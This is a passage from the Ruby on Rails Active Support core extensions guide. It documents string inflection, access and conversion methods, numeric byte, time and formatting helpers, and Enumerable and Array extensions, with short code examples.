"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: "!")
# => "Oh dear! Oh dear! I shall be late..."
```

The option `:separator` can be a regexp:

```
"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
# => "Oh dear! Oh dear!..."
```

Defined in `active_support/core_ext/string/filters.rb`.

### [5.7. `inquiry`](#inquiry)

The [`inquiry`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-inquiry) method converts a string into a `StringInquirer` object making equality checks prettier.

```
"production".inquiry.production? # => true
"active".inquiry.inactive?       # => false
```

Defined in `active_support/core_ext/string/inquiry.rb`.

### [5.8. `starts_with?` and `ends_with?`](#extensions-to-string-starts-with-questionmark-and-ends-with-questionmark)

Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:

```
"foo".starts_with?("f") # => true
"foo".ends_with?("o")   # => true
```

Defined in `active_support/core_ext/string/starts_ends_with.rb`.

### [5.9. `strip_heredoc`](#strip-heredoc)

The method [`strip_heredoc`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-strip_heredoc) strips indentation in heredocs.

For example in

```
if options[:usage]
  puts <<-USAGE.strip_heredoc
    This command does such and such.

    Supported options are:
      -h         This message
      ...
  USAGE
end
```

the user would see the usage message aligned against the left margin.

Technically, it looks for the least indented line in the whole string, and removes that amount of leading whitespace.

Defined in `active_support/core_ext/string/strip.rb`.

### [5.10. `indent`](#indent)

The [`indent`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-indent) method indents the lines in the receiver:

```
<<EOS.indent(2)
def some_method
  some_code
end
EOS
# =>
  def some_method
    some_code
  end
```

The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.

```
"  foo".indent(2)        # => "    foo"
"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
"foo".indent(2, "\t")    # => "\t\tfoo"
```

While `indent_string` is typically one space or tab, it may be any string.

The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false.

```
"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
```

The [`indent!`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-indent-21) method performs indentation in-place.

Defined in `active_support/core_ext/string/indent.rb`.

### [5.11. Access](#access)

#### [5.11.1. `at(position)`](#at-position)

The [`at`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-at) method returns the character of the string at position `position`:

```
"hello".at(0)  # => "h"
"hello".at(4)  # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => nil
```

Defined in `active_support/core_ext/string/access.rb`.

#### [5.11.2. `from(position)`](#from-position)

The [`from`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-from) method returns the substring of the string starting at position `position`:

```
"hello".from(0)  # => "hello"
"hello".from(2)  # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => nil
```

Defined in `active_support/core_ext/string/access.rb`.

#### [5.11.3. `to(position)`](#to-position)

The [`to`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-to) method returns the substring of the string up to position `position`:

```
"hello".to(0)  # => "h"
"hello".to(2)  # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"
```

Defined in `active_support/core_ext/string/access.rb`.

#### [5.11.4. `first(limit = 1)`](#first-limit-1)

The [`first`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-first) method returns a substring containing the first `limit` characters of the string.

The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0.

Defined in `active_support/core_ext/string/access.rb`.

#### [5.11.5. `last(limit = 1)`](#last-limit-1)

The [`last`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-last) method returns a substring containing the last `limit` characters of the string.

The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0.

Defined in `active_support/core_ext/string/access.rb`.

### [5.12. Inflections](#inflections)

#### [5.12.1. `pluralize`](#pluralize)

The method [`pluralize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-pluralize) returns the plural of its receiver:

```
"table".pluralize     # => "tables"
"ruby".pluralize      # => "rubies"
"equipment".pluralize # => "equipment"
```

As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. This file is generated by default, by the `rails new` command and has instructions in comments.

`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:

```
"dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"
```

Active Record uses this method to compute the default table name that corresponds to a model:

```
# active_record/model_schema.rb
def undecorated_table_name(model_name)
  table_name = model_name.to_s.demodulize.underscore
  pluralize_table_names ? table_name.pluralize : table_name
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.2. `singularize`](#singularize)

The [`singularize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-singularize) method is the inverse of `pluralize`:

```
"tables".singularize    # => "table"
"rubies".singularize    # => "ruby"
"equipment".singularize # => "equipment"
```

Associations compute the name of the corresponding default associated class using this method:

```
# active_record/reflection.rb
def derive_class_name
  class_name = name.to_s.camelize
  class_name = class_name.singularize if collection?
  class_name
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.3. `camelize`](#camelize)

The method [`camelize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-camelize) returns its receiver in camel case:

```
"product".camelize    # => "Product"
"admin_user".camelize # => "AdminUser"
```

As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:

```
"backoffice/session".camelize # => "Backoffice::Session"
```

For example, Action Pack uses this method to load the class that provides a certain session store:

```
# action_controller/metal/session_management.rb
def session_store=(store)
  @@session_store = store.is_a?(Symbol) ?
    ActionDispatch::Session.const_get(store.to_s.camelize) :
    store
end
```

`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase:

```
"visual_effect".camelize(:lower) # => "visualEffect"
```

That may be handy to compute method names in a language that follows that convention, for example JavaScript.

As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`:

```
ActiveSupport::Inflector.inflections do |inflect|
  inflect.acronym "SSL"
end

"SSLError".underscore.camelize # => "SSLError"
```

`camelize` is aliased to [`camelcase`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-camelcase).

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.4. `underscore`](#underscore)

The method [`underscore`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-underscore) goes the other way around, from camel case to paths:

```
"Product".underscore   # => "product"
"AdminUser".underscore # => "admin_user"
```

Also converts "::" back to "/":

```
"Backoffice::Session".underscore # => "backoffice/session"
```

and understands strings that start with lowercase:

```
"visualEffect".underscore # => "visual_effect"
```

`underscore` accepts no argument though.

Rails uses `underscore` to get a lowercased name for controller classes:

```
# actionpack/lib/abstract_controller/base.rb
def controller_path
  @controller_path ||= name.delete_suffix("Controller").underscore
end
```

For example, that value is the one you get in `params[:controller]`.

As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.5. `titleize`](#titleize)

The method [`titleize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-titleize) capitalizes the words in the receiver:

```
"alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize     # => "Fermat's Enigma"
```

`titleize` is aliased to [`titlecase`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-titlecase).

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.6. `dasherize`](#dasherize)

The method [`dasherize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-dasherize) replaces the underscores in the receiver with dashes:

```
"name".dasherize         # => "name"
"contact_data".dasherize # => "contact-data"
```

The XML serializer of models uses this method to dasherize node names:

```
# active_model/serializers/xml.rb
def reformat_name(name)
  name = name.camelize if camelize?
  dasherize? ? name.dasherize : name
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.7. `demodulize`](#demodulize)

Given a string with a qualified constant name, [`demodulize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-demodulize) returns the very constant name, that is, the rightmost part of it:

```
"Product".demodulize                        # => "Product"
"Backoffice::UsersController".demodulize    # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
"::Inflections".demodulize                  # => "Inflections"
"".demodulize                               # => ""
```

Active Record for example uses this method to compute the name of a counter cache column:

```
# active_record/reflection.rb
def counter_cache_column
  if options[:counter_cache] == true
    "#{active_record.name.demodulize.underscore.pluralize}_count"
  elsif options[:counter_cache]
    options[:counter_cache]
  end
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.8. `deconstantize`](#deconstantize)

Given a string with a qualified constant reference expression, [`deconstantize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-deconstantize) removes the rightmost segment, generally leaving the name of the constant's container:

```
"Product".deconstantize                        # => ""
"Backoffice::UsersController".deconstantize    # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.9. `parameterize`](#parameterize)

The method [`parameterize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-parameterize) normalizes its receiver in a way that can be used in pretty URLs.

```
"John Smith".parameterize # => "john-smith"
"Kurt Gödel".parameterize # => "kurt-godel"
```

To preserve the case of the string, set the `preserve_case` argument to true. By default, `preserve_case` is set to false.

```
"John Smith".parameterize(preserve_case: true) # => "John-Smith"
"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel"
```

To use a custom separator, override the `separator` argument.

```
"John Smith".parameterize(separator: "_") # => "john_smith"
"Kurt Gödel".parameterize(separator: "_") # => "kurt_godel"
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.10. `tableize`](#tableize)

The method [`tableize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-tableize) is `underscore` followed by `pluralize`.

```
"Person".tableize      # => "people"
"Invoice".tableize     # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"
```

As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.11. `classify`](#classify)

The method [`classify`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-classify) is the inverse of `tableize`. It gives you the class name corresponding to a table name:

```
"people".classify        # => "Person"
"invoices".classify      # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"
```

The method understands qualified table names:

```
"highrise_production.companies".classify # => "Company"
```

Note that `classify` returns a class name as a string. You can get the actual class object by invoking `constantize` on it, explained next.

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.12. `constantize`](#constantize)

The method [`constantize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-constantize) resolves the constant reference expression in its receiver:

```
"Integer".constantize # => Integer

module M
  X = 1
end
"M::X".constantize # => 1
```

If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`.

Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::".

```
X = :in_Object
module M
  X = :in_M

  X                 # => :in_M
  "::X".constantize # => :in_Object
  "X".constantize   # => :in_Object (!)
end
```

So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.

Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`:

```
# action_mailer/test_case.rb
def determine_default_mailer(name)
  name.delete_suffix("Test").constantize
rescue NameError => e
  raise NonInferrableMailerError.new(name)
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.13. `humanize`](#humanize)

The method [`humanize`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-humanize) tweaks an attribute name for display to end users.

Specifically, it performs these transformations:

* Applies human inflection rules to the argument.
* Deletes leading underscores, if any.
* Removes a "\_id" suffix if present.
* Replaces underscores with spaces, if any.
* Downcases all words except acronyms.
* Capitalizes the first word.

The capitalization of the first word can be turned off by setting the `:capitalize` option to false (default is true).

```
"name".humanize                         # => "Name"
"author_id".humanize                    # => "Author"
"author_id".humanize(capitalize: false) # => "author"
"comments_count".humanize               # => "Comments count"
"_id".humanize                          # => "Id"
```

If "SSL" was defined to be an acronym:

```
"ssl_error".humanize # => "SSL error"
```

The helper method `full_messages` uses `humanize` as a fallback to include attribute names:

```
def full_messages
  map { |attribute, message| full_message(attribute, message) }
end

def full_message
  # ...
  attr_name = attribute.to_s.tr(".", "_").humanize
  attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
  # ...
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.14. `foreign_key`](#foreign-key)

The method [`foreign_key`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-foreign_key) gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "\_id":

```
"User".foreign_key           # => "user_id"
"InvoiceLine".foreign_key    # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"
```

Pass a false argument if you do not want the underscore in "\_id":

```
"User".foreign_key(false) # => "userid"
```

Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this:

```
# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.15. `upcase_first`](#upcase-first)

The method [`upcase_first`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-upcase_first) capitalizes the first letter of the receiver:

```
"employee salary".upcase_first # => "Employee salary"
"".upcase_first                # => ""
```

Defined in `active_support/core_ext/string/inflections.rb`.

#### [5.12.16. `downcase_first`](#downcase-first)

The method [`downcase_first`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-downcase_first) converts the first letter of the receiver to lowercase:

```
"If I had read Alice in Wonderland".downcase_first # => "if I had read Alice in Wonderland"
"".downcase_first                                  # => ""
```

Defined in `active_support/core_ext/string/inflections.rb`.

### [5.13. Conversions](#extensions-to-string-conversions)

#### [5.13.1. `to_date`, `to_time`, `to_datetime`](#to-date-to-time-to-datetime)

The methods [`to_date`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-to_date), [`to_time`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-to_time), and [`to_datetime`](https://api.rubyonrails.org/v8.1.4/classes/String.html#method-i-to_datetime) are basically convenience wrappers around `Date._parse`:

```
"2010-07-27".to_date              # => Tue, 27 Jul 2010
"2010-07-27 23:37:00".to_time     # => 2010-07-27 23:37:00 +0200
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
```

`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in:

```
"2010-07-27 23:42:00".to_time(:utc)   # => 2010-07-27 23:42:00 UTC
"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200
```

Default is `:local`.

Please refer to the documentation of `Date._parse` for further details.

The three of them return `nil` for blank receivers.

Defined in `active_support/core_ext/string/conversions.rb`.

## [6. Extensions to `Symbol`](#extensions-to-symbol)

### [6.1. `starts_with?` and `ends_with?`](#extensions-to-symbol-starts-with-questionmark-and-ends-with-questionmark)

Active Support defines 3rd person aliases of `Symbol#start_with?` and `Symbol#end_with?`:

```
:foo.starts_with?("f") # => true
:foo.ends_with?("o")   # => true
```

Defined in `active_support/core_ext/symbol/starts_ends_with.rb`.

## [7. Extensions to `Numeric`](#extensions-to-numeric)

### [7.1. Bytes](#bytes)

All numbers respond to these methods:

* [`bytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-bytes)
* [`kilobytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-kilobytes)
* [`megabytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-megabytes)
* [`gigabytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-gigabytes)
* [`terabytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-terabytes)
* [`petabytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-petabytes)
* [`exabytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-exabytes)
* [`zettabytes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-zettabytes)

They return the corresponding amount of bytes, using a conversion factor of 1024:

```
2.kilobytes   # => 2048
3.megabytes   # => 3145728
3.5.gigabytes # => 3758096384.0
-4.exabytes   # => -4611686018427387904
```

Singular forms are aliased so you are able to say:

```
1.megabyte # => 1048576
```

Defined in `active_support/core_ext/numeric/bytes.rb`.

### [7.2. Time](#extensions-to-numeric-time)

The following methods:

* [`seconds`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-seconds)
* [`minutes`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-minutes)
* [`hours`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-hours)
* [`days`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-days)
* [`weeks`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-weeks)
* [`fortnights`](https://api.rubyonrails.org/v8.1.4/classes/Numeric.html#method-i-fortnights)

enable time declarations and calculations, like `45.minutes + 2.hours + 4.weeks`. Their return values can also be added to or subtracted from Time objects.

These methods can be combined with [`from_now`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html#method-i-from_now), [`ago`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html#method-i-ago), etc, for precise date calculations. For example:

```
# equivalent to Time.current.advance(days: 1)
1.day.from_now

# equivalent to Time.current.advance(weeks: 2)
2.weeks.from_now

# equivalent to Time.current.advance(days: 4, weeks: 5)
(4.days + 5.weeks).from_now
```

For other durations please refer to the time extensions to `Integer`.

Defined in `active_support/core_ext/numeric/time.rb`.

### [7.3. Formatting](#formatting)

Enables the formatting of numbers in a variety of ways.

Produce a string representation of a number as a telephone number:

```
5551234.to_fs(:phone)
# => 555-1234
1235551234.to_fs(:phone)
# => 123-555-1234
1235551234.to_fs(:phone, area_code: true)
# => (123) 555-1234
1235551234.to_fs(:phone, delimiter: " ")
# => 123 555 1234
1235551234.to_fs(:phone, area_code: true, extension: 555)
# => (123) 555-1234 x 555
1235551234.to_fs(:phone, country_code: 1)
# => +1-123-555-1234
```

Produce a string representation of a number as currency:

```
1234567890.50.to_fs(:currency)                 # => $1,234,567,890.50
1234567890.506.to_fs(:currency)                # => $1,234,567,890.51
1234567890.506.to_fs(:currency, precision: 3)  # => $1,234,567,890.506
```

Produce a string representation of a number as a percentage:

```
100.to_fs(:percentage)
# => 100.000%
100.to_fs(:percentage, precision: 0)
# => 100%
1000.to_fs(:percentage, delimiter: ".", separator: ",")
# => 1.000,000%
302.24398923423.to_fs(:percentage, precision: 5)
# => 302.24399%
```

Produce a string representation of a number in delimited form:

```
12345678.to_fs(:delimited)                     # => 12,345,678
12345678.05.to_fs(:delimited)                  # => 12,345,678.05
12345678.to_fs(:delimited, delimiter: ".")     # => 12.345.678
12345678.to_fs(:delimited, delimiter: ",")     # => 12,345,678
12345678.05.to_fs(:delimited, separator: " ")  # => 12,345,678 05
```

Produce a string representation of a number rounded to a precision:

```
111.2345.to_fs(:rounded)                     # => 111.235
111.2345.to_fs(:rounded, precision: 2)       # => 111.23
13.to_fs(:rounded, precision: 5)             # => 13.00000
389.32314.to_fs(:rounded, precision: 0)      # => 389
111.2345.to_fs(:rounded, significant: true)  # => 111
```

Produce a string representation of a number as a human-readable number of bytes:

```
123.to_fs(:human_size)                  # => 123 Bytes
1234.to_fs(:human_size)                 # => 1.21 KB
12345.to_fs(:human_size)                # => 12.1 KB
1234567.to_fs(:human_size)              # => 1.18 MB
1234567890.to_fs(:human_size)           # => 1.15 GB
1234567890123.to_fs(:human_size)        # => 1.12 TB
1234567890123456.to_fs(:human_size)     # => 1.1 PB
1234567890123456789.to_fs(:human_size)  # => 1.07 EB
```

Produce a string representation of a number in human-readable words:

```
123.to_fs(:human)               # => "123"
1234.to_fs(:human)              # => "1.23 Thousand"
12345.to_fs(:human)             # => "12.3 Thousand"
1234567.to_fs(:human)           # => "1.23 Million"
1234567890.to_fs(:human)        # => "1.23 Billion"
1234567890123.to_fs(:human)     # => "1.23 Trillion"
1234567890123456.to_fs(:human)  # => "1.23 Quadrillion"
```

Defined in `active_support/core_ext/numeric/conversions.rb`.

## [8. Extensions to `Integer`](#extensions-to-integer)

### [8.1. `multiple_of?`](#multiple-of-questionmark)

The method [`multiple_of?`](https://api.rubyonrails.org/v8.1.4/classes/Integer.html#method-i-multiple_of-3F) tests whether an integer is multiple of the argument:

```
2.multiple_of?(1) # => true
1.multiple_of?(2) # => false
```

Defined in `active_support/core_ext/integer/multiple.rb`.

### [8.2. `ordinal`](#ordinal)

The method [`ordinal`](https://api.rubyonrails.org/v8.1.4/classes/Integer.html#method-i-ordinal) returns the ordinal suffix string corresponding to the receiver integer:

```
1.ordinal    # => "st"
2.ordinal    # => "nd"
53.ordinal   # => "rd"
2009.ordinal # => "th"
-21.ordinal  # => "st"
-134.ordinal # => "th"
```

Defined in `active_support/core_ext/integer/inflections.rb`.

### [8.3. `ordinalize`](#ordinalize)

The method [`ordinalize`](https://api.rubyonrails.org/v8.1.4/classes/Integer.html#method-i-ordinalize) returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string.

```
1.ordinalize    # => "1st"
2.ordinalize    # => "2nd"
53.ordinalize   # => "53rd"
2009.ordinalize # => "2009th"
-21.ordinalize  # => "-21st"
-134.ordinalize # => "-134th"
```

Defined in `active_support/core_ext/integer/inflections.rb`.

### [8.4. Time](#extensions-to-integer-time)

The following methods:

* [`months`](https://api.rubyonrails.org/v8.1.4/classes/Integer.html#method-i-months)
* [`years`](https://api.rubyonrails.org/v8.1.4/classes/Integer.html#method-i-years)

enable time declarations and calculations, like `4.months + 5.years`. Their return values can also be added to or subtracted from Time objects.

These methods can be combined with [`from_now`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html#method-i-from_now), [`ago`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Duration.html#method-i-ago), etc, for precise date calculations. For example:

```
# equivalent to Time.current.advance(months: 1)
1.month.from_now

# equivalent to Time.current.advance(years: 2)
2.years.from_now

# equivalent to Time.current.advance(months: 4, years: 5)
(4.months + 5.years).from_now
```

For other durations please refer to the time extensions to `Numeric`.

Defined in `active_support/core_ext/integer/time.rb`.

## [9. Extensions to `BigDecimal`](#extensions-to-bigdecimal)

### [9.1. `to_s`](#to-s)

The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating-point representation instead of scientific notation:

```
BigDecimal(5.00, 6).to_s       # => "5.0"
```

Scientific notation is still supported:

```
BigDecimal(5.00, 6).to_s("e")  # => "0.5E1"
```

## [10. Extensions to `Enumerable`](#extensions-to-enumerable)

### [10.1. `index_by`](#index-by)

The method [`index_by`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-index_by) generates a hash with the elements of an enumerable indexed by some key.

It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:

```
invoices.index_by(&:number)
# => {"2009-032" => <Invoice ...>, "2009-008" => <Invoice ...>, ...}
```

Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.

Defined in `active_support/core_ext/enumerable.rb`.

### [10.2. `index_with`](#index-with)

The method [`index_with`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-index_with) generates a hash with the elements of an enumerable as keys. The value is either a passed default or returned in a block.

```
post = Post.new(title: "hey there", body: "what's up?")

%i( title body ).index_with { |attr_name| post.public_send(attr_name) }
# => { title: "hey there", body: "what's up?" }

WEEKDAYS.index_with(Interval.all_day)
# => { monday: [ 0, 1440 ], … }
```

Defined in `active_support/core_ext/enumerable.rb`.

### [10.3. `many?`](#many-questionmark)

The method [`many?`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-many-3F) is shorthand for `collection.size > 1`:

```
<% if pages.many? %>
  <%= pagination_links %>
<% end %>
```

If an optional block is given, `many?` only takes into account those elements that return true:

```
@see_more = videos.many? { |video| video.category == params[:category] }
```

Defined in `active_support/core_ext/enumerable.rb`.

### [10.4. `exclude?`](#exclude-questionmark)

The predicate [`exclude?`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-exclude-3F) tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:

```
to_visit << node if visited.exclude?(node)
```

Defined in `active_support/core_ext/enumerable.rb`.

### [10.5. `including`](#including)

The method [`including`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-including) returns a new enumerable that includes the passed elements:

```
[ 1, 2, 3 ].including(4, 5)                    # => [ 1, 2, 3, 4, 5 ]
["David", "Rafael"].including %w[ Aaron Todd ] # => ["David", "Rafael", "Aaron", "Todd"]
```

Defined in `active_support/core_ext/enumerable.rb`.

### [10.6. `excluding`](#excluding)

The method [`excluding`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-excluding) returns a copy of an enumerable with the specified elements removed:

```
["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
```

`excluding` is aliased to [`without`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-without).

Defined in `active_support/core_ext/enumerable.rb`.

### [10.7. `pluck`](#pluck)

The method [`pluck`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-pluck) extracts the given key from each element:

```
[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name) # => [[1, "David"], [2, "Rafael"]]
```

Defined in `active_support/core_ext/enumerable.rb`.

### [10.8. `pick`](#pick)

The method [`pick`](https://api.rubyonrails.org/v8.1.4/classes/Enumerable.html#method-i-pick) extracts the given key from the first element:

```
[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pick(:name) # => "David"
[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pick(:id, :name) # => [1, "David"]
```

Defined in `active_support/core_ext/enumerable.rb`.

## [11. Extensions to `Array`](#extensions-to-array)

### [11.1. Accessing](#accessing)

Active Support augments the API of arrays to ease certain ways of accessing them. For example, [`to`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-to) returns the subarray of elements up to the one at the passed index:

```
%w(a b c d).to(2) # => ["a", "b", "c"]
[].to(7)          # => []
```

Similarly, [`from`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-from) returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.

```
%w(a b c d).from(2)  # => ["c", "d"]
%w(a b c d).from(10) # => []
[].from(0)           # => []
```

The method [`including`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-including) returns a new array that includes the passed elements:

```
[ 1, 2, 3 ].including(4, 5)          # => [ 1, 2, 3, 4, 5 ]
[ [ 0, 1 ] ].including([ [ 1, 0 ] ]) # => [ [ 0, 1 ], [ 1, 0 ] ]
```

The method [`excluding`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-excluding) returns a copy of the Array excluding the specified elements. This is an optimization of `Enumerable#excluding` that uses `Array#-` instead of `Array#reject` for performance reasons.

```
["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
[ [ 0, 1 ], [ 1, 0 ] ].excluding([ [ 1, 0 ] ])                  # => [ [ 0, 1 ] ]
```

The methods [`second`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-second), [`third`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-third), [`fourth`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-fourth), and [`fifth`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-fifth) return the corresponding element, as do [`second_to_last`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-second_to_last) and [`third_to_last`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-third_to_last) (`first` and `last` are built-in). Thanks to social wisdom and positive constructiveness all around, [`forty_two`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-forty_two) is also available.

```
%w(a b c d).third # => "c"
%w(a b c d).fifth # => nil
```

Defined in `active_support/core_ext/array/access.rb`.

### [11.2. Extracting](#extensions-to-array-extracting)

The method [`extract!`](https://api.rubyonrails.org/v8.1.4/classes/Array.html#method-i-extract-21) removes and returns the elements for which the block returns a true value. If no block is given, an Enumerator is returned instead.

```
numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9]
numbers # => [0, 2, 4, 6, 8]
```

Defined in `active_support/core_ext/array/extract.rb`.

### [11.3. Options Extraction](#options-extraction)

When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:

```
User.exists?(email: params[:email])
```

